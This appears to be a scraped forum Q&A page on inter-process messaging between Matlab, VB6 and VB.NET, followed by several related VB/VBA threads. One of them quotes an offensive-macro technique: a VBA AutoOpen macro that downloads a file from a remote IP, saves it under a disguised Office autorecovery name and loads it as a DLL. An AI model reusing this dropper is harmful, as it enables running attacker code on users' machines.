Simplest way to send messages between Matlab, VB6 and VB.NET programs - vb.net

We are upgrading a suite of data acquisition and analysis routines from VB6 programs to a mixture of VB.NET, VB6, and Matlab programs. We want to keep the system modular (separate EXEs) so we can easily create specialized stand-alone analysis programs without having to constantly upgrade one massive application. We have used MBInterProcess to send messages between EXEs when all the programs were written in VB6 and this worked perfectly for us (e.g., to have the data acquisition EXE send the latest file name to a stand-alone data display program). Unfortunately, this ActiveX cannot be used within Matlab or VB.NET to receive messages. We are wondering what is the simplest string message passing system (pipes, registered messages, etc) that we could adopt. Right now we are just polling to see if new file was written in a specific folder, which can't be the best solution. Our ideal solution would not require a huge investment in time learning nuances of Windows (we are biologists, not full-time programmers) and would work in both WinXP and 64-bit versions of Windows.
In response to the queries, we have wrapped the entire Matlab session within a VB6 program that has the MBInterProcess ActiveX control. That works but is not a great solution for us since it will probably lock us into WinXP forever (and certainly will prevent us from using the 64-bit version of Matlab). The latest version of Matlab (2009a) can access .NET functions directly, so we assume one solution might be to use the .NET library to implement pipes (or something similar) across programs. We would like to recreate the elegantly simple syntax of the MBInterProcess ActiveX and have a piece of code that listens for a message with that program's top-level Windows name, and then call a specific Matlab m-file, or VB.NET function, with the string data (e.g., file name) as an argument.

Could you create an ActiveX EXE in VB6 to simply forward messages between the different parties? When anyone called it, it would raise an event with the parameters passed to the call. Your VB6 and VB.NET code could establish a reference to the ActiveX exe to call it and sink its events. I'm not familiar with Matlab so I don't know whether it would be accessible there.
EDIT: you've written that Matlab 2009a can access .NET directly. If it can sink .NET events, you could also have a .NET wrapper on the VB6 ActiveX EXE.
Here's some sample code I knocked up quickly.
VB6 ActiveX EXE project with project name VB6MatlabMessenger. Each message has a text string Destination (that somehow identifies the intended recipient) and a string with the message.
'MultiUse class VB6Messenger
Option Explicit
Public Event MessageReceived(ByVal Destination As String, ByVal Message As String)
Public Sub SendMessage(ByVal Destination As String, ByVal Message As String)
Call Manager.RaiseEvents(Destination, Message)
End Sub
Private Sub Class_Initialize()
Call Manager.AddMessenger(Me)
End Sub
Friend Sub RaiseTheEvent(ByVal Destination As String, ByVal Message As String)
RaiseEvent MessageReceived(Destination, Message)
End Sub
'BAS module called Manager
Option Explicit
Private colMessengers As New Collection
Sub AddMessenger(obj As VB6Messenger)
colMessengers.Add obj
End Sub
Sub RaiseEvents(ByVal Destination As String, ByVal Message As String)
Dim obj As VB6Messenger
For Each obj In colMessengers
Call obj.RaiseTheEvent(Destination, Message)
Next obj
End Sub
And a test VB6 normal exe, with a reference to the VB6MatlabMessenger. Here is the whole frm file. Build this as an exe, run a few copies. Fill in the destination and message text fields and click the button - you will see that the messages are received in all the exes (reported in the listboxes).
VERSION 5.00
Begin VB.Form Form1
Caption = "Form1"
ClientHeight = 3090
ClientLeft = 60
ClientTop = 450
ClientWidth = 4680
LinkTopic = "Form1"
ScaleHeight = 3090
ScaleWidth = 4680
StartUpPosition = 3 'Windows Default
Begin VB.ListBox lstEvents
Height = 1620
Left = 120
TabIndex = 3
Top = 1320
Width = 4455
End
Begin VB.TextBox txtMessage
Height = 375
Left = 120
TabIndex = 2
Text = "Message"
Top = 840
Width = 2295
End
Begin VB.TextBox txtDestination
Height = 375
Left = 120
TabIndex = 1
Text = "Destination"
Top = 240
Width = 2295
End
Begin VB.CommandButton cmdSendMessage
Caption = "Send Message"
Height = 495
Left = 2640
TabIndex = 0
Top = 360
Width = 1575
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Private WithEvents objMessenger As VB6MatlabMessenger.VB6Messenger
Private Sub cmdSendMessage_Click()
objMessenger.SendMessage txtDestination, txtMessage.Text
End Sub
Private Sub Form_Load()
Set objMessenger = New VB6MatlabMessenger.VB6Messenger
End Sub
Private Sub objMessenger_MessageReceived(ByVal Destination As String, ByVal Message As String)
lstEvents.AddItem Now() & " RECEIVED - " & Destination & ", " & Message
End Sub
I started writing a VB.NET class library that wraps the VB6 to make it accessible to .NET. I haven't tested this one. It has a reference to the VB6MatLabMessenger.
Public Class VBNETMatlabMessenger
Private WithEvents objVB6Messenger As VB6MatlabMessenger.VB6Messenger
Public Event MessageReceived(ByVal Destination As String, ByVal Message As String)
Public Sub SendMessage(ByVal Destination As String, ByVal Message As String)
objVB6Messenger.SendMessage(Destination, Message)
End Sub
Public Sub New()
objVB6Messenger = New VB6MatlabMessenger.VB6Messenger
End Sub
Private Sub objVB6Messenger_MessageReceived(ByVal Destination As String, ByVal Message As String) Handles objVB6Messenger.MessageReceived
RaiseEvent MessageReceived(Destination, Message)
End Sub
End Class
This might get you started. Note that the VB6 messenger objects will live forever because the messenger keeps a reference to them internally, so COM will never tidy them up. If this becomes a problem (if many messages are sent without rebooting the PC) you could add a method to the VB6 messenger which instructs it to removed the messenger object from its collection,

I've used the Matlab dos command to execute a Java program on the commandline, it waits for the commandline to complete before returning control to Matlab. This worked fine for me, after my Matlab program regained control I read the output file from the Java.
I've used compiled Matlab programs (i.e. exe's), these work okay but they spray files around when they execute - I believe it's possible to pass in commandline arguments to a compiled executable. Assuming VB.NET is like C# .NET you could execute your exe from code using something like the Process object.
Alternatively there are ways to compile to .dll which are accessible via .NET see here:
http://www.codeproject.com/KB/dotnet/matlabeng.aspx
for an explanation. I've never tried this...

Related

How to dynamically load a DLL in VBA using a DLL Trick

I'm reading this article:
https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/
and for some reason I can't seem to replicate the second Dll trick i.e Storing Seemingly "Legitimate" Office Files That Are Really DLLs.
What I've already tried is created a simple c# DLL with an exported function that only displays a Message-box saying ".NET Assembly Running".
The test.dll is run like so from the command line:
rundll32 test.dll,TestExport
But when I follow the article for some reason the code keeps failing.
Here's my modified VBA after following the article:
Private Declare Sub TestExport Lib "Autorecovery save of Doc3.asd" ()
Sub AutoOpen()
Dim PathOfFile As String
PathOfFile = Environ("AppData") & "\Microsoft\Word"
VBA.ChDir PathOfFile
Dim remoteFile As String
Dim HTTPReq As Object
remoteFile = "http://192.168.100.2:8443/test.js"
storein = "Autorecovery save of Doc3.asd"
Set HTTPReq = CreateObject("Microsoft.XMLHTTP")
HTTPReq.Open "GET", remoteFile, False
HTTPReq.send
If HTTPReq.Status = 200 Then
Set output = CreateObject("ADODB.Stream")
output.Open
output.Type = 1
output.Write HTTPReq.responseBody
output.SaveToFile storein, 2
output.Close
Module2.Invoke
End If
End Sub
Sub Invoke()
TestExport
End Sub
And here's the C# code for the DLL:
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Test
{
class Test
{
[DllExport]
public static void TestExport()
{
MessageBox.Show(".NET Assembly Running");
}
}
}
I expected it to work just don't know why it didn't fit my VBA.
It does not work like that in VBA. The DLL has to be a COM DLL and to be loaded by the VBA project reference. That also means that the DLL has to be registered in the Windows registry. So put your C# away and start VB.NET. Create a dll project and choose a COM-CLASS from the Templates.
Look at the first line here (
<Assembly: CommandClass(GetType(ComClass3))> '<<<<add this !!!!
<ComClass(ComClass3.ClassId, ComClass3.InterfaceId, ComClass3.EventsId)>
Public Class ComClass3
#Region "COM-GUIDs"
Public Const ClassId As String = "94b64220-ce6e-400d-bcc0-d45ba56a14f7"
Public Const InterfaceId As String = "89a8c04e-e1fb-4950-85b2-7c1475156701"
Public Const EventsId As String = "af56d401-6492-4172-bf1e-10fa5e419aa4"
#End Region
Public Sub New()
MyBase.New()
End Sub
sub test
'your code
end sub
End Class
The fun part is that by the assembly advice all your subs and functions show up in VBA without any other action.
TO GET THIS WORK START VS IN ADMINISTRATOR MODE !!! Otherwise it has not the needed rights to also automatically do the dll registering.
If you are happy use some tool to convert the code to c#. Its also possible just to do the interface as a wrapper in VB.net :) Now you can reference the dll in VBA and do all the things with her like you can do with other dlls which work in VBA. Like:
SUB tester
dim x= new comclass3
x.test
end sub
Some pitfalls i forget to mention. VBA and .NET do not speak all the time the same string language. Stupidly one way is converted automatically - the way back not. One talks for example in UTF8 an the other in BSTR. So if nothing or garbage is returned most likely you has not chosen the wrong string converter. I use the auto detect converter from .net if needed. You can get crazy by this. Also do not mix 32bit and 64 bit code or pointers. Autocad for example will nuke up immediatly by this. (Whatever genius drawing you might have inside - it doesnt cares).

Wait for UI to load new window before continuing

I am novice of VB.Net trying to create a plugin for a program with a fairly lacking API. Essentially what I am trying to accomplish is press a button in the interface, which will create a new window. Once this window loads, I have a couple other buttons to press to eventually print out an HTML file it generates.
I attempted to use Windows UI Automation, but was unable to manipulate the first control (it appeared as a "pane" element for some reason, and had no supported control patterns)
I eventually was able to use PostMessage to send a MouseDown and MouseUp message to the control to activate it.
My question is: What is the best way for me to wait for this window to finish loading before continuing my code execution?
I tried using Thread.Sleep after I sent the click to my control, but my code seemed to trigger the sleep before it even started to load the window. I suspect there may be some kind of event-driven options, but I don't even know where I would begin with that.
Side note: I do have access to the program's Process ID if that helps.
EDIT:
To be more explicit about what I have done, here is some code for you to look at:
' These variables declared further up in my program, when plugin is loaded
Private aeDesktop As AutomationElement
Private aeRadan As AutomationElement
Private aeBlocksBtn As AutomationElement
Private Sub UITest1()
Dim rpid As Integer
Dim intret As Integer
' Note: mApp is declared further up in the code, when the plug in initializes
' It sets a reference to the application object (API command from the software)
rpid = mApp.ProcessID
aeDesktop = AutomationElement.RootElement
Dim propcon As New PropertyCondition(AutomationElement.ProcessIdProperty, rpid)
Dim propcon2 As New PropertyCondition(AutomationElement.NameProperty, "big_button_blocks.bmp")
aeRadan = aeDesktop.FindFirst(TreeScope.Children, propcon)
aeBlocksBtn = aeRadan.FindFirst(TreeScope.Descendants, propcon2)
' MAKELONG is a function that concatenates given x and y coordinates into an appropriate "lparam" value for PostMessage.
' Coordinates 20, 20 are chosen arbitrarily
Dim lParam As Long = MAKELONG(20, 20)
intret = PostMessage(CInt(aeBlocksBtn.GetCurrentPropertyValue(AutomationElement.NativeWindowHandleProperty)), &H201, &H1, lParam)
intret = PostMessage(CInt(aeBlocksBtn.GetCurrentPropertyValue(AutomationElement.NativeWindowHandleProperty)), &H202, &H0, lParam)
Dim bwinprop As New PropertyCondition(AutomationElement.NameProperty, "Radan Block Editor")
Dim aeblockwin As AutomationElement
Dim numwaits As Integer = 0
Do
numwaits += 1
Thread.Sleep(100)
aeblockwin = aeRadan.FindFirst(TreeScope.Children, bwinprop)
Loop While (numwaits < 50) AndAlso (aeblockwin Is Nothing)
If numwaits >= 50 Then
MessageBox.Show("ERROR: Block Editor Window Not found")
End If
I am fairly sure what is happening has to do with the code moving to the Do While loop before the PostMessage is processed by the program. I have tried using SendMessage to try to bypass this, but unfortunately that does not seem to work.
I feel like there is a pretty simple solution here, like maybe some kind of alternate wait or sleep command that I don't know about, so maybe someone could help guide me to it?
EDIT 2:
Screenshot of the inspect.exe output for this control.
Also, a screenshot of the user interface. This is from Radan, a CAM software I use for nesting and processing sheet metal parts to be laser cut. I put a red box around the control I would like to activate.

Visual Basic Sterling ActiveX Error

I'm new to Visual Basic, and I'm having trouble with a program that I'm working on. I'm using the Sterling ActiveX library to create a basic functional program that does an easy task (sending an order) for the Sterling Trader software. I'm just trying to make something basic that works and that I can build off of. Here's my code so far:
Imports SterlingLib
Public Class Form1
Dim WithEvents m_STIEvents As STIEvents
Private Declare Sub GetLocalTime Lib "kernel32" (ByRef lpSystemTime As SYSTEMTIME)
Private Structure SYSTEMTIME
Dim wYear As Short
Dim wMonth As Short
Dim wDayOfWeek As Short
Dim wDay As Short
Dim wHour As Short
Dim wMinute As Short
Dim wSecond As Short
Dim wMilliseconds As Short
End Structure
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
m_STIEvents = New STIEvents
End Sub
Private Sub m_STIEvents_OnSTIOrderUpdateMsg(ByVal oSTIOrderUpdateMsg As SterlingLib.STIOrderUpdateMsg) Handles m_STIEvents.OnSTIOrderUpdateMsg
Dim order As STIOrder
order = New STIOrder
Dim storder As structSTIOrder
storder.bstrAccount = "ACCT7"
storder.bstrSide = "B"
storder.bstrSymbol = "CSCO"
order.Quantity = "500"
storder.bstrStrPriceType = SterlingLib.STIPriceTypes.ptSTIMkt
storder.bstrTif = "D"
storder.bstrDestination = "NYSE"
Dim theTime As SYSTEMTIME
GetLocalTime(theTime)
storder.bstrClOrderId = storder.bstrAccount & theTime.wYear & theTime.wMonth & theTime.wDay & theTime.wHour & theTime.wMinute & theTime.wSecond & theTime.wMilliseconds
Dim ret As Integer
ret = order.SubmitOrder
End Sub
Private Function Text1() As Object
Throw New NotImplementedException
End Function
End Class
When I run this program, I get the following error:
"Unhandled exception has occurred in your application. If you click Continue, the application will ignore this error and attempt to continue. If you click Quit, the application will close immediately.
Retrieving the COM class factory for component with CLSID {5E89F49B-6A12-420F-8570-E510EF1B580A} failed due to the following error: 800700c1."
What does this mean, and how can I correct it? When I debug, it highlights "m_STIEvents = New STIEvents" as the line where things are going wrong, but I can't figure it out.
You can reverse-engineer the error code, 0x800700c1. If not through Google then by design. The 8 makes it an error. The 7 is the "facility code", where the error originated, 7 means Windows. Which makes the last 4 digits a Windows error code. 0x00c1 = error 193. Which you can lookup many ways, one is by looking at the Windows SDK's WinError.h file:
//
// MessageId: ERROR_BAD_EXE_FORMAT
//
// MessageText:
//
// %1 is not a valid Win32 application.
//
#define ERROR_BAD_EXE_FORMAT 193L
The kind of error code that's invariably generated on a 64-bit operating system. Running 64-bit code and trying to load a legacy 32-bit ActiveX component.
Which suggests the easy fix: right-click your EXE project in the Solution Explorer windows. Properties, Compile tab, scroll down, Advanced Compile Options button. Change the Target CPU setting to "x86" to force your VB.NET code to run in 32-bit mode so it can load that ActiveX control. Or if it is already set to x86 then change it to "AnyCPU" to take care of the oddball chance that this is a 64-bit ActiveX control.
Contact the vendor of the component if that didn't work or you have any additional problems.
I don't know if you have solved this problem. The way I solved it was installing vb6 on my computer. I tried all the other ways and none of those works. This API is pretty old. Install vb6 solved my problem. Also if you want the program work, you have to login sterling trader pro. Good luck.

Download URL Contents Directly into String (VB6) WITHOUT Saving to Disk

Basically, I want to download the contents of a particular URL (basically, just HTML codes in the form of a String) into my VB6 String variable. However, there are some conditions.
I know about the URLDownloadToFile Function - however, this requires that you save the downloaded file/HTML onto a file location on disk before you can read it into a String variable, this is not an option for me and I do not want to do this.
The other thing is, if I need to use an external library, it must already come with all versions of Windows from XP and onwards, I cannot use a control or library that I am required to ship, package and distribute even if it is free, this is not an option and I do not want to do this. So, I cannot use the MSINET.OCX (Internet Transfer) Control's .OpenURL() function (which simply returns contents into a String), as it does not come with Windows.
Is there a way to be able to do this with the Windows API, URLMON or something else that is pre-loaded into or comes with Windows, or a way to do it in VB6 (SP6) entirely?
If so, I would appreciate direction, because even after one hour of googling, the only examples I've found are references to URLDownloadToFile (which requires saving on disk before being ale to place into a String) and MsInet.OpenURL (which requires that I ship and distribute MSINET.OCX, which I cannot and don't want to do).
Surely there has got to be an elegant way to be able to do this? I can do it in VB.NET without an issue, but obviously don't have the luxury of the .NET framework in VB6 - any ideas?
Update:
I have found this: http://www.freevbcode.com/ShowCode.asp?ID=1252
however it says that the displayed function may not return the entire
page and links to a Microsoft bug report or kb article explaining
this. Also, I understand this is based off wininet.dll - and I'm
wondering which versions of Windows does WinInet.dll come packaged
with? Windows XP & beyond? Does it come with Windows 7 and/or Windows
8?
This is how I did it with VB6 a few years ago:
Private Function GetHTMLSource(ByVal sURL As String) As String
Dim xmlHttp As Object
Set xmlHttp = CreateObject("MSXML2.XmlHttp")
xmlHttp.Open "GET", sURL, False
xmlHttp.send
GetHTMLSource = xmlHttp.responseText
Set xmlHttp = Nothing
End Function
If you want to do this with pure VB, and no IE, then you can take advantage of a little-used features of the VB UserControl - async properties.
Create a new UserControl, and call it something like UrlDownloader. Set the InvisibleAtRuntime property to True. Add the following code to it:
Option Explicit
Private Const m_ksProp_Data As String = "Data"
Private m_bAsync As Boolean
Private m_sURL As String
Public Event AsyncReadProgress(ByRef the_abytData() As Byte)
Public Event AsyncReadComplete(ByRef the_abytData() As Byte)
Public Property Let Async(ByVal the_bValue As Boolean)
m_bAsync = the_bValue
End Property
Public Property Get Async() As Boolean
Async = m_bAsync
End Property
Public Property Let URL(ByVal the_sValue As String)
m_sURL = the_sValue
End Property
Public Property Get URL() As String
URL = m_sURL
End Property
Public Sub Download()
UserControl.AsyncRead m_sURL, vbAsyncTypeByteArray, m_ksProp_Data, IIf(m_bAsync, 0&, vbAsyncReadSynchronousDownload)
End Sub
Private Sub UserControl_AsyncReadComplete(AsyncProp As AsyncProperty)
If AsyncProp.PropertyName = m_ksProp_Data Then
RaiseEvent AsyncReadComplete(AsyncProp.Value)
End If
End Sub
Private Sub UserControl_AsyncReadProgress(AsyncProp As AsyncProperty)
If AsyncProp.PropertyName = m_ksProp_Data Then
Select Case AsyncProp.StatusCode
Case vbAsyncStatusCodeBeginDownloadData, vbAsyncStatusCodeDownloadingData, vbAsyncStatusCodeEndDownloadData
RaiseEvent AsyncReadProgress(AsyncProp.Value)
End Select
End If
End Sub
To use this control, stick it on a form and use the following code:
Option Explicit
Private Sub Command1_Click()
XDownload1.Async = False
XDownload1.URL = "http://www.google.co.uk"
XDownload1.Download
End Sub
Private Sub XDownload1_AsyncReadProgress(the_abytData() As Byte)
Debug.Print StrConv(the_abytData(), vbUnicode)
End Sub
Suffice to say, you can customise this to your hearts content. It can tell (using the AyncProp object) whether the file is cached, and other useful information. It even has a special mode in which you can download GIF, JPG and BMP files and return them as a StdPicture object!
One alternative is using Internet Explorer.
Dim ex As InternetExplorer
Dim hd As HTMLDocument
Dim s As String
Set ex = New InternetExplorer
With ex
.Navigate "http://donttrack.us/"
.Visible = 1
Set hd = .Document
s = hd.body.innerText ' assuming you just want the text
's = hd.body.innerHTML ' if you want the HTML
End With
EDIT: For the above early binding to work you need to set references to "Microsoft Internet Controls" and "Microsoft HTML Object Library" (Tools > References). You could also use late binding, but to be honest, I forget what the proper class names are; maybe someone smart will edit this answer :-)

Accessing Form1 Properties From Thread

I have an exceptionhandler function that basically just writes a line to a textbox on Form1. This works fine when being run normally but the second I use a thread to start a process it cannot access the property. No exception is thrown but no text is written to the textbox:
Public Sub ExceptionHandler(ByVal Description As String, Optional ByVal Message As String = Nothing)
' Add Error To Textbox
If Message = Nothing Then
Form1.txtErrLog.Text += Description & vbCrLf
Log_Error(Description)
Else
Form1.txtErrLog.Text += Description & " - " & Message & vbCrLf
Log_Error(Description, Message)
End If
MessageBox.Show("caught")
End Sub
Is it possible to access a form's properties from a thread this way or would it be easier to write to a text file or similar and refresh the textbox properties every 10 seconds or so (Don't see this as a good option but if it's the only way it will have to do!).
Also, still new to VB so if I have done anything that isn't good practice please let me know!
No, you shouldn't access any GUI component properties from the "wrong" thread (i.e. any thread other than the one running that component's event pump). You can use Control.Invoke/BeginInvoke to execute a delegate on the right thread though.
There are lots of tutorials around this on the web - many will be written with examples in C#, but the underlying information is language-agnostic. See Joe Albahari's threading tutorial for example.
You have to use delegates. Search for delegates in VB.
Here a peace of code that does the job.
Delegate Sub SetTextCallback(ByVal text As String)
Public Sub display_message(ByVal tx As String)
'prüfen ob invoke nötig ist
If Me.RichTextBox1.InvokeRequired Then
Dim d As New SetTextCallback(AddressOf display_message)
Me.Invoke(d, tx)
Else
tx.Trim()
Me.RichTextBox1.Text = tx
End If
End Sub